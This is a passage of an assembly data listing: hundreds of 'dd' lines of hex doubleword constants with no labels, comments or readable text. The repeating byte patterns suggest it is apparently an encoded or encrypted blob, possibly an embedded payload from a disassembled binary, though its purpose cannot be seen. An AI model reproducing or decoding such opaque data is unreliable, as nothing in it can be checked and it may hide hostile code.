		dd 0EBD72DD2h, 0AE982D1Ch, 5D470DD2h, 112CEFF0h, 45AE156Dh
		dd 6719D22Dh, 0EFDE1919h, 2DEA2D58h, 48E4252Dh,	0DF35ED2Dh
		dd 2FA4A6A6h, 2C642C7Ah, 141DEDD1h, 3DE49D1Fh, 48EDD2AEh
		dd 0A6A62DEDh, 0A6A62720h, 0A6ED2DEEh, 210DA6EDh, 0A6A6AEA6h
		dd 2CD1C4C6h, 3EEA6A6h,	2E2F2C2Dh, 58D25858h, 1E7547D3h
		dd 0B8A821EEh, 0EDC0EDA8h, 0C1454404h, 20ED0B68h, 0D068DD68h
		dd 7DD1EE75h, 25EE7593h, 0EDA61622h, 7A16EDC6h,	0D2686DD2h
		dd 0CA7EEE75h, 0D2E5D23Dh, 0D2C1D2C1h, 0D231D2C1h, 0DD21DD5h
		dd 595859D2h, 0D9595859h, 0D2D291EDh, 2DD255D2h, 0E955D2D2h
		dd 55A047D2h, 58D29558h, 0D29DD299h, 0D2D20DD5h, 0EE2068D2h
		dd 0A2C52D25h, 0AE2EA245h, 0A6A6A62Dh, 0C5CCD2C5h, 0D5D5D5D2h
		dd 0D6D6D6D2h, 0FDD9D22Dh, 0A8F1E5C9h, 45EED9CDh, 0F147F1C1h
		dd 0F9656565h, 0F32DC5C5h, 0EDD8D8B1h, 61D8D8B5h, 0C9C9C9F5h
		dd 0BD58DAB9h, 0C1A0DAA1h, 68EF2DC1h, 77A4BEEEh, 2DBED17Bh
		dd 0CDEAEA22h, 0EDF5F1D9h, 0A4F9D1D1h, 0F1F10505h, 0BED1D277h
		dd 0EE68EFD1h, 0C5D5C5D5h, 452DC5D5h, 45D2457Eh, 47EFD2FDh
		dd 0EED27568h, 49497B45h, 49A07171h, 45EFD288h,	0AEA62D2Dh
		dd 2C442C3Dh, 0EEF9F9A4h, 2DEDAECEh, 412D2D2Dh,	2D41652Dh
		dd 2D2D41EDh, 2C2DEDAEh, 2D452D2Dh, 0ED212D45h,	2D2D492Ch
		dd 4545C45Dh, 2C2DA617h, 6D582D2Dh, 58D247D2h, 0F17A7A58h
		dd 0E4C6A625h, 0E3456D45h, 6161A5C6h, 31111101h, 11091111h
		dd 0D1519A6h, 3437363Dh, 9B7D3D35h, 35343736h, 0EF3569D2h
		dd 2D2D2D58h, 0EA2DEA2Dh, 2D6DEAAEh, 2DC5D258h,	0C1D22DD2h
		dd 2DC5C5C1h, 0D2D29DC5h, 2DC9C9C9h, 45E4D2C5h,	21BBEDD0h
		dd 252D45EFh, 2116C4C4h, 680E140Eh, 25EE1FC6h, 2D2D2DC4h
		dd 0A677162Dh, 140E1216h, 1FC6680Eh, 0EA6D68EEh, 0A622A622h
		dd 0AE4C14F5h, 0A4A6A64Bh, 6C9DEDC5h, 193DD2EDh, 6CED6C6Ch
		dd 0ED6CED6Ch, 47C56C92h, 6F2DADACh, 93EDB345h,	0ADACD212h
		dd 0D5D2CD2Dh, 0D2CD74D5h, 0A6ED756Ch, 0ED14ED95h, 71052D7Ah
		dd 0F1F1096Ch, 0D2CD25D8h, 17190305h, 41ED6C6Dh, 2DED5F71h
		dd 6CF5FDEDh, 8979F96Ch, 0ED6CED71h, 6CED6C71h,	0ED6CA6EDh
		dd 0EDEDED6Ch, 2D2DED75h, 0EDEDA6EDh, 0ED6CEDEDh, 75ED6CA6h
		dd 0A8ED6CEDh, 0ED6CED6Ch, 0ED6C453Eh, 0B57DED6Ch, 0B1A67188h
		dd 8DB1C8B1h, 2DED6CC5h, 6CED6C2Dh, 0A6ED3DA6h,	0ED6CA6EDh
		dd 0A6EDD2A6h, 6C22A6EDh, 0ED6CEDEDh, 23ED6C45h, 0D23DED6Ch
		dd 0ED6CED6Ch, 0EDED2DEDh, 6CD221EDh, 0EDED9F6Ch, 6C75ED2Dh
		dd 0EDED6CEDh, 0ED6CED6Ch, 75A6EDEDh, 0EDEDA6EDh, 2DA5ED6Ch
		dd 25EAA9A9h, 29EAA9D2h, 2D686CD2h, 6C71A9D2h, 5151ED6Ch
		dd 3E6CD2D1h, 0DD2ED6Ch, 44D2452Dh, 41D246D2h, 42D243D2h
		dd 5FD25CD2h, 0D246C8D2h, 0ED75A66Ch, 0D26321D2h, 0D265D27Dh
		dd 0D271D2D2h, 0D5D2D5EAh, 6CED71D2h, 0EDEDEDEDh, 0E5EDED2Eh
		dd 69BA45EDh, 0D3D271D2h, 0A6EDD2EDh, 0D2D9ED75h, 0D20DD215h
		dd 0D20DD20Dh, 0D215D201h, 6DD26D2Dh, 1DD26DD2h, 0C1D2DDD2h
		dd 0C9D2C5D2h, 0F1D2CDD2h, 0D2D209D2h, 752D71B6h, 0ED212FEDh
		dd 0A6ED0D2Dh, 6CD08C45h, 0D1D1A6D1h, 0EF6CD02Dh, 2D2D052Ch
		dd 35685DA0h, 2EB2154Dh, 6CC515EDh, 71EF6C71h, 716C716Ch
		dd 35ED716Ch, 758F6CC5h, 756C756Ch, 7558ED6Ch, 8C2D756Ch
		dd 6C756C75h, 45757175h, 6175716Ch, 0A075716Ch,	2DAD586Ch
		dd 50EE6D6Ch, 0CACACA45h, 0CAED517Ah, 2D2DD12Dh, 28515151h
		dd 9D2D2DD2h, 599BF59Dh, 6CF16CF1h, 2586CF1h, 3D2D6C99h
		dd 0C5EE47C5h, 0A0D5A0A0h, 0D5C552D5h, 0C553D1D5h, 2DC22C2Dh
		dd 2CD5D52Dh, 0A0C22D2Dh, 0C2D52D2Ch, 0C551D5D5h, 0D22545D1h
		dd 58D2D247h, 0C6C6C5C6h, 0EDEDED7Ah, 2D2D2CAEh, 0E5E546C0h
		dd 0EDEDE5E5h, 0EDD2ED8Dh, 0D2315DEDh, 0B5B9D231h, 0B56CB56Ch
		dd 5DD1586Ch, 0D215156Ch, 0D2D2EDEDh, 6CD2A6EDh, 8DEDED4Bh
		dd 0ED8D61A0h, 0EDED6565h, 10A8EDEDh, 0A8A6692Dh, 0A6D26DD2h
		dd 0D26DD26Dh, 15A7D269h, 51EDEDD2h, 515D515Dh,	19D219D2h
		dd 2CD219D2h, 0D219D219h, 0A855A62Ch, 0D25555A8h, 0D2D2D205h
		dd 0A6D2D2ABh, 0EDD209EDh, 2DD209EBh, 0D22DD2A8h, 0C5D20922h
		dd 0C35595A8h, 0E9ED86E9h, 0E95DE9E9h, 0E9E95DA4h, 41E92D5Dh
		dd 35354141h, 2D354195h, 992D9999h, 9599992Dh, 0D595C499h
		dd 0D2ED6851h, 0D1EEC5C5h, 0ED7525AEh
		dd 29292D2Fh, 682FA6A6h, 0A66D682Bh, 292FD1C4h,	29EC221Dh
		dd 0EC22112Fh, 0A658122Bh, 0EE75471Eh, 0F14C7A7Ah, 0A6D12E7Ah
		dd 0A6A6A6A6h, 0C4A6A61Fh, 0ECA6D1EEh, 0A61FA6A6h, 0EEC4A6A6h
		dd 6D58C6C6h, 0A4D247A6h, 0D247A6C6h, 0A56D6860h, 0A7C6C6A6h
		dd 0A62CC6A6h, 3512A668h, 1268C5C5h, 0A4484725h, 6DC1A6A6h
		dd 0EC3B262Ah, 21A42ADAh, 0EC3BA426h, 3C262ADAh, 0D0DAEC3Bh
		dd 3B3C2621h, 242628ECh, 0EC3923DAh, 23DA2628h,	28A4EC39h
		dd 23DA2426h, 2628EC39h, 0EC23DA24h, 3D402629h,	2629EC3Ah
		dd 5EC3A3Dh, 3A3D2629h,	3D2629ECh, 0D9A626ECh, 0A627A62Bh
		dd 0A626ECA6h, 22A6A62Bh, 0A626ECA6h, 0A627A62Bh, 0ECA6228Eh
		dd 0A62BA626h, 0A622A627h, 0A6EC38ECh, 0EC22A448h, 29C12222h
		dd 0EFEC7AC6h, 0DFE9E8EBh, 0DDE62222h, 0DDE7DDE4h, 0ACFE2EFEh
		dd 2222DD2Fh, 607AEE22h, 7A7A737Ah, 212C7AD2h, 0D27A5050h
		dd 25D2F1D2h, 0A6A6EDAEh, 0A6EDAE25h, 29EDC5A6h, 0A1BD2DA1h
		dd 0E7EBA32Dh, 0A5A5A5E3h, 5 dup(0A5A5A5A5h), 0A5A5D1A5h
		dd 0A5A52DBDh, 0A5A5A5A5h, 0D9B9A5A5h, 0D1C547EDh, 0D2D2D937h
		dd 0D0D2D2D2h, 2DD5D26Ah, 0D0D9232Ch, 172DED28h, 0A6D90F71h
		dd 71A9A9A9h, 2D3D7147h, 0C6A7A6A6h, 0EEA62296h, 0D5D0D045h
		dd 0D9772DA0h, 7AD0C6DDh, 0C5C1C5C5h, 0D5D5D7D7h, 0C5EDF1F1h
		dd 0C5EDF1C5h, 0F1C5C5EDh, 0EDF1C5EDh, 0C5EDF1C5h, 0F1C5C5EDh
		dd 0E9EDF9EDh, 0E5E9FDE5h, 0C5D2F9FDh, 0F1C5EDF1h, 0C1C579EDh
		dd 0C57E2DD1h, 0C5EDF1C5h, 0C5EDD1C5h, 0C5EDF185h, 0D2C5C57Ch
		dd 0EB2D2D2Fh, 2D2D2D7Fh, 477F2DA0h, 0AC45EE75h, 6DEDC5D2h
		dd 0C66D6C15h, 2D8AEF57h, 0D57A2D6Ch, 0D2D37F60h, 0B5D9B1D3h
		dd 0C6D5B589h, 0ED8989B5h, 0D3ADBD2Eh, 492D49AEh, 59595555h
		dd 0B9A0D3EDh, 2DD3BD5Dh, 0A54D4D2Dh, 45A5BE4Dh, 4949254Dh
		dd 41B9A024h, 7524D3BDh, 79457571h, 0D2D379D2h,	0A62D482Dh
		dd 0D1EE16A6h, 0E5A66C2Dh, 0AE68506Bh, 2D212DAEh, 0E6EA2A2Dh
		dd 0D5C6A67Dh, 47EEA68Dh, 5D415D41h, 6E31592Dh,	9722AE2Dh
		dd 0D9F9D9D9h, 0AEAE75F9h, 0D5A0482Dh, 0EDD1EEC5h, 0A6A64847h
		dd 0A647EE6Ch, 0D12D2DD1h, 2DD995D2h, 9DD245D2h, 99F39D99h
		dd 0D9C5D9D0h, 47EE9545h, 0DD8981EAh, 0DD89A689h, 0C5EDDDD9h
		dd 0C5C5C5C5h, 0D299A0D2h, 68C52570h, 0C5C558C5h, 80EFD22Dh
		dd 0A010612Dh, 0C5617D7Dh, 0EF09AE65h, 2D2D2D45h, 6C48452Dh
		dd 0A62D6C6Ch, 6C1746A6h, 2DDD47C4h, 2D2D2DACh,	0D22DC5EDh
		dd 0AE2CD22Dh, 0C9EDD2D2h, 58DA90EDh, 0AE58DAAEh, 2D45EEDAh
		dd 2DDBD299h, 1B575757h, 2DEF5799h, 0D22DED1Bh,	0EDD2F9D2h
		dd 0F9D2EDD2h, 0D2F985D2h, 0D567C992h, 0D2D9D2F1h, 0B8D291A8h
		dd 47A8ED85h, 0BBD247ABh, 0F1D299DAh, 0F1D2F5D2h, 89D2F5D2h
		dd 0D2F1D5D9h, 0D92DD2D9h, 0D289D29Dh, 0D22DD95Dh, 0D2852D2Dh
		dd 0D2F598D2h, 0D289BBA8h, 0B12DC5BBh, 31D2F1D2h, 2CEDAED2h
		dd 0EAEAC6C1h, 2DEA2DACh, 0AE2DA62Ch, 4519452Dh, 0E1E169D2h
		dd 2D555555h, 2CD2AD55h, 0ED2FADEDh, 0C5F5452Dh, 4951512Dh
		dd 0A62DB845h, 0EFFDC4FDh, 45172DADh, 0D2D1D12Dh, 0D1D12DC5h
		dd 4568EF69h, 2DAE652Dh, 7F652DC5h, 58EF6565h, 2D2C9CD2h
		dd 24690A45h, 6D69692Dh, 1D6919D2h, 6D24C5D2h, 6905C558h
		dd 0D2D2C57Dh, 0AC2D59EFh, 2D2DC1D2h, 0A54BC6EAh, 0D52D2DEAh
		dd 0A60EA40Eh, 0C1EE75C4h, 2D75382Dh, 0EEC42DA0h, 11FD2D45h
		dd 0D0DEA6Dh, 0D2696D6Dh, 5156509h, 901FE19h, 61090909h
		dd 11E1ED11h, 0F5611191h, 0F96551D2h, 68E4C1C6h, 92DD27Dh
		dd 0A6DDC12Dh, 952D3DEDh, 0A6D53125h, 0D2EDD125h, 3939DDD2h
		dd 0C1A6D9D2h, 0C52DEDD5h, 3D2121DDh, 393D35C5h, 393D35A6h
		dd 0C1D22939h, 0DD2984C1h, 0C10D0DD2h, 19D2DD29h, 151519C5h
		dd 35193515h, 19191919h, 21151515h, 218D2125h, 0D2118DC1h
		dd 6C0DDD3Eh, 0DD29C1C1h, 29C10DD2h, 2DDDD2DDh,	0D2D2D22Dh
		dd 2D2D3D25h, 457DA6D1h, 3C2DED69h, 0EDC92D2Dh,	0EF61D6D6h
		dd 0A6D1D268h, 307829A6h, 99F1C531h, 0D2D291D2h, 0C9D22D2Dh
		dd 0D2B1C0C1h, 91C2D2B5h, 0C12DD289h, 7979F579h, 0A5C92BAEh
		dd 0F5F5EDD2h, 79796565h, 65A57965h, 79A5A8A8h,	0F57D2D2Dh
		dd 2D2D6175h, 7D2D797Dh, 0D22D7D75h, 0EF72C6D2h, 0F7A4C645h
		dd 55EEAE2Dh, 58EE6D47h, 1E581E75h, 0F35F4521h,	0D2C65DF5h
		dd 0D228B6ADh, 0D22DC3D2h, 21D221A6h, 71D221D2h, 0D22D720Dh
		dd 0A6D258EDh, 792DC9C9h, 0EE45D3D3h, 0A6A6E510h, 0A6A0A621h
		dd 0D2D2D26Ch, 0AE2D2C75h, 0D2D2AE2Dh, 0Dh dup(0D2D2D2D2h)
		dd 2DF42D2Ch, 0D2D22DF8h, 2D1E2D97h, 2D6C2D3Dh,	2 dup(2D6C2D6Ch)
		dd 6 dup(0D2D2D2D2h), 2	dup(2D6C2D6Ch),	0D2D2D2D2h, 0A4F9A4D1h
		dd 2D4EA4D2h, 2D2F2D4Fh, 0Bh dup(0D2D2D2D2h), 0A6D1D2D2h
		dd 0A922D168h, 0A62D2C3Bh, 0A8A0D168h, 2D2DD08Dh, 0A8A0A074h
		dd 38D2D08Dh, 88AE5D25h, 20C6D0CDh, 0A8EAA8A6h,	0A8A0D0F1h
		dd 6C5DD0C9h, 58D2A42Dh, 0AE2DD221h, 0EDA821E9h, 6DD52A58h
		dd 0D2D268A4h, 6C5D98D2h, 0E4D5C42Dh, 2D2D78EEh, 38D258D2h
		dd 0EDA85D85h, 2D2D2858h, 38D258D2h, 58D25D81h,	0C5AD4525h
		dd 0D2D1D3A9h, 0AD2D2558h, 2D2D5FC5h, 58D22945h, 0E9AEA025h
		dd 0A474A021h, 0A82ED9A8h, 0A8A6D3D9h, 0AE2DD3D9h, 0C5AD21E9h
		dd 0AD2DD0FEh, 2D2DEDC5h, 0A8A058D2h, 0E9AED079h, 0F3C5D221h
		dd 22742C75h, 6945A89Bh, 0A8A06CACh, 0AE2DD370h, 20C63DE9h
		dd 0A022A8A6h, 0A62D2927h, 0A8A67D98h, 2914D061h, 38D2581Ah
		dd 0D27D5DA1h, 0A8A6BD38h, 7474D07Dh, 0A0A6EDA8h, 9B22D061h
		dd 6C5D75A8h, 0A8A6A42Dh, 2C2DD07Dh, 0A0A65B2Dh, 0D2D1D061h
		dd 0A0A6D2D2h, 0A8A4D061h, 0A922D101h, 0AE2D2F66h, 0AE2D1590h
		dd 20C60588h, 9322A8A6h, 2 dup(932270A0h), 702870A0h, 0A8A6D2D0h
		dd 0D065D10Dh, 7028D2D2h, 0D065D2D0h, 0EC16D2D2h, 70280059h
		dd 0D065D2D0h, 0EC16D2D2h, 0D2D22F59h, 0A62DC4D2h, 0D22D69A8h
		dd 68A7B138h, 0A0A6A5D8h, 0A0A6D061h, 0AE2DD061h, 98D239E9h
		dd 0A8A6D011h, 0F7C4D07Dh, 0FDC42D2Dh, 0A8A62D2Dh, 0A0A6D06Dh
		dd 2F58D061h, 0F8C428C6h, 742DD2D6h, 227498D2h,	0D22DA89Bh
		dd 90AEB138h, 3058D069h, 0A8A0A8A0h, 0AE2DD370h, 0D2D221E9h
		dd 0A8A0E145h, 0AE2DD370h, 742D3DE9h, 0A874ED1Eh, 2D2D58EDh
		dd 0A47458C5h, 0A7D1D168h, 0D22D3D60h, 0AED12158h, 0E9AE24EDh
		dd 68A6D221h, 7D2D28D1h, 747467C5h, 0A83D9B22h,	0B1D559EDh
		dd 2AC66CACh, 58D268EAh, 2D47D221h, 7EC558D2h, 0E9AE2D50h
		dd 38D2E435h, 10AE5D89h, 59D2F3D5h, 38D2D221h, 10AE5D89h
		dd 59D2F3D1h, 38D2D221h, 10AE5D89h, 59D2F22Dh, 2225D221h
		dd 0EDA8AD93h, 22252358h, 68A6AD93h, 0EDA82225h, 0D9103959h
		dd 2F5F2D2Ch, 222509C6h, 0D710AD93h, 2F5F2D2Dh,	68A62FC6h
		dd 0D5AE2221h, 22215927h, 0A8A02D93h, 7474D32Dh, 2D2F3AC6h
		dd 0EFC5D22Dh, 74742D96h, 0D22DEEE4h, 0E9AE2558h, 8EC5D221h
		dd 0C5742C7Ch, 218E7C98h, 2D476CF2h, 0EDA8A8A0h, 742D3E58h
		dd 0EA2DED1Eh, 2D2DC5A8h, 0AE2DA8EAh, 0EDA8C188h, 742D3558h
		dd 472DED1Eh, 0EDA8A02Dh, 1E743558h, 472DC4EDh,	2D47472Eh
		dd 38D22D45h, 0D27D5D59h, 0D27DB998h, 0EDA8DD38h, 742D3558h
		dd 472DED1Eh, 0A8A0473Dh, 0A8A0D5F1h, 0EA2DD18Dh, 4B2DE1A8h
		dd 2D4788AEh, 2D472D47h, 0A8A03D45h, 0EDA8D1D9h, 742D3558h
		dd 98D2ED1Eh
		dd 0A8A6D5F5h, 0A8A6D1B1h, 0A8A6D1B9h, 98D2D5F1h, 48AED5CDh
		dd 88AE2DD1h, 2D45D0D5h, 2D472D2Fh, 2C62A8A0h, 68A0AE2Dh
		dd 2D2F7DD1h, 38D2A02Dh, 0EDA85DADh, 0A8A03558h, 50AED7DDh
		dd 0A8A02DD1h, 38D2D5FDh, 0EDA85DA9h, 35590959h, 0A8A08545h
		dd 742DD7DDh, 2D2DC474h, 13C42747h, 5ED1D2D2h, 0D128A60Ch
		dd 2159D2D0h, 0C6D1A8A6h, 2DD1EA2Ah, 2D452D2Fh,	2D472D2Fh
		dd 0A8A0A8A0h, 38D2D1C9h, 0EDA85DA5h, 0D2D62F58h, 742D74D2h
		dd 47D1ED1Eh, 7DD1A02Dh, 18D258D2h, 38D2F22Dh, 0EDA85D45h
		dd 0EDA82958h, 2D2D0B59h, 2D472D47h, 2D4758D2h,	0BDC438D2h
		dd 8A452D2Dh, 0BBC52D2Eh, 0A4742C60h, 0D22DD168h, 0AED12158h
		dd 0E9AE29EDh, 68A6D221h, 7D2D28D1h, 742D50C5h,	6CAF4574h
		dd 89C5472Dh, 0E9AE2D5Ah, 58D2AE3Dh, 742DC525h,	0D22DE474h
		dd 0E9AE2558h, 0C1C5D221h, 0A0742C61h, 0D76868A8h, 3E58D2D2h
		dd 0D2D798D2h, 742DC5D2h, 452DED1Eh, 472D0A3Dh,	0AE2DA02Dh
		dd 742D3DE9h, 0A8A0ED1Eh, 0A8A0D709h, 0AE2DD17Eh, 0A02D39E9h
		dd 0A8A42DA8h, 0D2D7D73Dh, 2D2F2DD2h, 0A8A45B2Dh, 2D2FD721h
		dd 2D2D5E2Dh, 0D2D760C4h, 2D2958D2h, 90F5DA2Dh,	7C7CD729h
		dd 742D31F0h, 0D2D798D2h, 742DC5D2h, 452DED1Eh,	0D22D2FE1h
		dd 6C282558h, 7DDDD2DAh, 2F4786C5h, 2C452D47h, 0A8A02D29h
		dd 0D2DAD4C1h, 7DDDA0D2h, 0EDA838D2h, 472D3E59h, 452DA027h
		dd 0C52D292Dh, 742DCF0Eh, 742D7D74h, 452DED1Eh,	0A8A0AE55h
		dd 742DDA6Ch, 742D98D2h, 98D2ED1Eh, 98D2DA39h, 0A8A0DA39h
		dd 0AE2DDA0Dh, 0D27D3DE9h, 0A07D6138h, 0A8A03DA8h, 0AE2DDA0Dh
		dd 0D2DB35E9h, 742DC5D2h, 0D45ED1Eh, 0A8A06CAEh, 0AE2DD568h
		dd 0A8A439E9h, 2D2FDB21h, 2C65472Dh, 2D2FAE2Dh,	0D2D55B2Dh
		dd 0E9AE7DD2h, 2D2FC43Dh, 2D2D5E2Dh, 0A81470C4h, 0A465DB21h
		dd 0A80621A8h, 90F5DB21h, 7C7CD8C1h, 0A8A031F0h, 0AE2DD568h
		dd 742D0DE9h, 592DED1Eh, 582DAE21h, 53C5C428h, 0A4742C6Bh
		dd 2D2DD568h, 0AED958D2h, 2459D950h, 6D2D50ACh,	0C52D285Bh
		dd 0AED168CBh, 2858D150h, 2D2DB1C4h, 0AED10C47h, 2D2C29EDh
		dd 58D2E9AEh, 0AED1A63Dh, 2D2C08EDh, 58D2E9AEh,	28D1A639h
		dd 7D2D2C04h, 2D2C85C5h, 28D1E9AEh, 7D2D2F04h, 2D2CBFC5h
		dd 28D1E9AEh, 7D2D2F1Eh, 2D2C4AC5h, 5145E9AEh, 2D476CAEh
		dd 2B5958D2h, 582D50AEh, 0C52DC62Fh, 0AED16830h, 2F58D150h
		dd 2D2C4CC6h, 58D2E9AEh, 0AED1A63Dh, 2C8E08EDh,	28D12D2Dh
		dd 7D2D2C04h, 2158F1C5h, 8D4558D2h, 2D476CAEh, 2D6D58D2h
		dd 0AE2D3CC5h, 2D0A35E9h, 58D2472Dh, 1AC5D239h,	0E9AE2D07h
		dd 0D22DA43Dh, 0D6D13D58h, 2D0AD2D2h, 0A02D452Dh, 0AE2DD1A8h
		dd 24593DE9h, 452D90AEh, 0A8A0AEC1h, 7474D6D1h,	3E58A8A4h
		dd 2D0198D2h, 0A8A0742Dh, 2359D6D1h, 0AE2DA8A6h, 0A8A0C988h
		dd 98D2D6C9h, 3E58D6D9h, 742D98D2h, 50AEED1Eh, 0A8A62D09h
		dd 592DD6DDh, 2D06D23Eh, 50AE742Dh, 0A60D2D0Dh,	58D2C9A0h
		dd 742DC531h, 0C531ED1Eh, 3E586FC0h, 742D98D2h,	0D22DED1Eh
		dd 592DC598h, 0AE05A604h, 0D592955h, 742D98D2h,	2D2D2C47h
		dd 0A02D3D45h, 0AE2DD1A8h, 24593DE9h, 2D0790AEh, 1E2D742Dh
		dd 2D2DC4EDh, 742DA62Dh, 3058ED1Eh, 477498D2h, 58D2752Ch
		dd 0A8EAA025h, 0AE2DD059h, 0A8A51988h, 0E145D051h, 0A8A06CA8h
		dd 0AE2DD6FDh, 0A8A039E9h, 22EDD4E5h, 2D2DA8A8h, 0EDA82D47h
		dd 0D5AE4B58h, 0A145580Dh, 0A8A06CA8h, 7145D6FDh, 0A8A06CA8h
		dd 742DD6FDh, 0A02DED1Eh, 0E528E5A8h, 0D2D5D2D4h, 2D2D2CD2h
		dd 0E52820C6h, 0E528D2D4h, 0A8A0D2D4h, 0A874D401h, 0D2D459EDh
		dd 2D2D2CD2h, 0E528FAC4h, 0E528D2D4h, 620D2D4h,	0A8A0D2D4h
		dd 2C6FD4E5h, 0D2D4AE2Dh, 0A8A02DD2h, 2B47D401h, 0A8A06545h
		dd 0E9AED4E5h, 0D2D4A821h, 0D4012DD2h, 2D2DD2D2h, 0A8A01545h
		dd 6CA8D051h, 2D2DA02Dh, 6CA82A47h, 0A8A0A02Dh,	2D2DD401h
		dd 2D4502C6h, 0A8A06CA8h, 2D8AD6FDh, 0E528AE2Dh, 0D145D2D4h
		dd 0A8A06CA9h, 452DD4E5h, 0A62D2DADh, 0A02D31A8h, 0A8A0E5A8h
		dd 0E145D4E5h, 0A8A06CA9h, 742DD6FDh, 0A62DED1Eh, 98D255A8h
		dd 9322D4E9h, 2D6C47A8h, 90F500C6h, 4145D529h, 0A8A06CA9h
		dd 2D47D6FDh, 0A8A4A8A0h, 0D2D5D535h, 0C62D0DD2h, 6945A00Eh
		dd 0A8A06CA9h, 3945D6FDh, 0A8A06CA9h, 98D2D6FDh, 742DD4E9h
		dd 2D2DED1Eh, 0C52D8245h, 0AEC115E6h, 2858C150h, 2D2DB2C4h
		dd 0AE2D2547h, 0D4539E9h, 68A06CABh, 582D7DDDh,	0A4DDA02Bh
		dd 0AEC13D68h, 0E9AE29EDh, 28C14521h, 7D2D2C25h, 0E9AE47C5h
		dd 68A6D221h, 7D2D28C1h, 28C14AC5h, 7D2D2C25h, 2D4768A6h
		dd 53C558D2h, 0E9AE2D4Fh, 65C5E435h, 74742D44h,	222D68A4h
		dd 68EAAAA9h, 68A6F5D5h, 2DA6A625h, 0AD2DA8A4h,	2D2D7859h
		dd 2D2D5BEDh, 91D559EDh, 19C66CAAh, 6C668EAh, 0FC668EAh
		dd 34C668EAh, 3DC668EAh, 2AC668EAh, 68A668EAh, 55AEA625h
		dd 98D22C29h, 0A625D3C1h, 68A6D22Dh, 2D2DA625h,	6DA668A6h
		dd 2D2DD229h, 6DA668A6h, 0A625D229h, 6 dup(0A625296Dh)
		dd 6DD1296Dh, 58D2D27Dh, 0BD454521h, 0F8C56CF6h, 0E9AE2DB2h
		dd 6DD1A665h, 0A625D5AEh, 38D2AE2Dh, 0D27D5DA1h, 0EDA8BD38h
		dd 2D471459h, 0D5AE2D47h, 0BBC55A0Dh, 0C6742D8Ch, 6CAB4526h
		dd 6CABC52Dh, 68A6C52Dh, 15ACA625h, 58AD2D2Eh, 0A625A633h
		dd 2D2D296Dh, 64A6A66Dh, 2D2DA429h, 6359E5AEh, 55AE68A6h
		dd 12952D29h, 0D6C42D0Ah, 68A62D2Fh, 592CAE3Dh,	0AE3DA633h
		dd 11952555h, 0F9C42D0Ah, 50AE2D2Fh, 7EC52D25h,	0A4742C18h
		dd 2547E168h, 254738D2h, 472DC475h, 58D2471Dh, 68A0C5E1h
		dd 0E9AE7DFDh, 6C5F4B21h, 0A6FF4B2Dh, 0AE2DE168h, 26593D50h
		dd 6DA668A6h, 0C6E5A425h, 2CE5EA2Ah, 68A62D2Dh,	50AEA6E1h
		dd 0A63D2D3Dh, 0C6E9216Dh, 2BE9EA2Ah, 68A62D2Dh, 0EAE1A6E1h
		dd 2D2D3D6Dh, 0AEE1A62Dh, 48AE0DEDh, 68A02DF9h,	0AEE17DFDh
		dd 0ED1E0DEDh, 58D2CDC4h, 68A4D225h, 0C42DAEC1h, 0AE2D2CE9h
		dd 2AC6CD48h, 0AECD68A6h, 3C59C150h, 0C42D68A6h, 0A62D2CBDh
		dd 0C57DCD68h, 0AEC91939h, 3D58C950h, 25472547h, 68A6C475h
		dd 477D46CDh, 2D47D22Dh, 50AE68A0h, 2C192D21h, 0AEDF742Dh
		dd 2AC6C548h, 0A6C568A6h, 22CDC568h, 50AE2EAEh,	0A63D2D3Dh
		dd 0C6EDA42Dh, 29EDEA2Ah, 68A62D2Dh, 60A646C5h,	46C5A6C9h
		dd 2D2D1DEDh, 592D50AEh, 0A63DA626h, 0C691256Dh, 2C91EA2Ah
		dd 68A62D2Dh, 60A646C5h, 50AEA6C9h, 0A63D2D3Dh,	0C695216Dh
		dd 2B95EA2Ah, 68A62D2Dh, 60A646C5h, 60A6A6C9h, 68A6EAC9h
		dd 60A646C5h, 1DE4A0C9h, 0A63578A6h, 68A4C168h,	68A047D9h
		dd 46C57DDDh, 34591DEDh, 60A668A6h, 65C52EC9h, 78A6ED46h
		dd 0D2D2A4C9h, 782D68A6h, 0AE2DC1A6h, 2B583D50h, 592D50AEh
		dd 90DA624h, 0B95A8CDh,	0E1C42D0Ah, 68A62D2Fh, 1295A425h
		dd 8DC42D0Ah, 50AE2D2Fh, 0A8A42D3Dh, 2558D6E1h,	452DE5AEh
		dd 0D22D292Ch, 0E9AEE198h, 0AE0DA621h, 0A62D2FCDh, 29470D68h
		dd 2658A8A6h, 22C438D2h, 0A8A62D2Fh, 6D74D6DDh,	0D22D6816h
		dd 6A951938h, 0CBC42D0Ah, 2C452D2Ch, 0A8A62D29h, 0AE2DD6DDh
		dd 2D2D21E9h, 0CDAE68A6h, 2658A82Ch, 43C438D2h,	0A8A62D2Ch
		dd 6D74D6DDh, 0D22D6816h, 6A951938h, 68C42D0Ah,	2C452D2Ch
		dd 0A8A62D29h, 0AE2DD6DDh, 5B3921E9h
		dd 0D22D4538h, 6A951938h, 0D2C42D0Ah, 50AE2D2Dh, 0A8752D35h
		dd 2D2C59EDh, 5B316D74h, 0D22D4538h, 6A951938h,	8DC42D0Ah
		dd 0A8A02D2Dh, 3FC5D6FDh, 74742C1Dh, 0AE0D40C6h, 0A67D3DCDh
		dd 2858D9A8h, 6D74E5AEh, 0D22D6816h, 6A951938h,	1FC62D0Ah
		dd 592DA8A6h, 0A1C5A03Ch, 74742C02h, 592DED1Eh,	53C5D224h
		dd 70742C02h, 0A67829EFh, 68A4AEC1h, 58D2AED9h,	0D8ED2D9h
		dd 45456CF2h, 38D26CA4h, 68A45D79h, 7545AEC1h, 58D26CA4h
		dd 58ED2C1h, 61456CF2h,	58D26CA4h, 18ED2C1h, 6D456CF2h
		dd 58D26CA4h, 1D8ED2C1h, 19456CF2h, 58D26CA4h, 198ED2C1h
		dd 9456CF2h, 58D26CA4h,	158ED2C1h, 39456CF2h, 58D26CA4h
		dd 118ED2C1h, 2D456CF2h, 58D26CA4h, 6D8ED2C1h, 0C1456CF2h
		dd 58D26CA5h, 698ED2C1h, 0FD456CF2h, 58D26CA5h,	658ED2C1h
		dd 0E5456CF2h, 38D26CA5h, 68A45D79h, 58D2AED5h,	618ED2D5h
		dd 8D456CF2h, 58D26CA5h, 7D8ED2D5h, 0A5456CF2h,	58D26CA5h
		dd 798ED2D5h, 5D456CF2h, 58D26CA5h, 758ED2D5h, 49456CF2h
		dd 38D26CA5h, 68A45D79h, 58D245D1h, 498ED2D1h, 61456CF2h
		dd 58D26CA5h, 458ED2D1h, 11456CF2h, 58D26CA5h, 418ED2D1h
		dd 10AE6CF2h, 592DF249h, 592DAE3Fh, 582DAE24h, 18A5EA33h
		dd 15972D6Dh, 16902D6Dh, 6CA52D6Dh, 68A4D22Dh, 58D2AEDDh
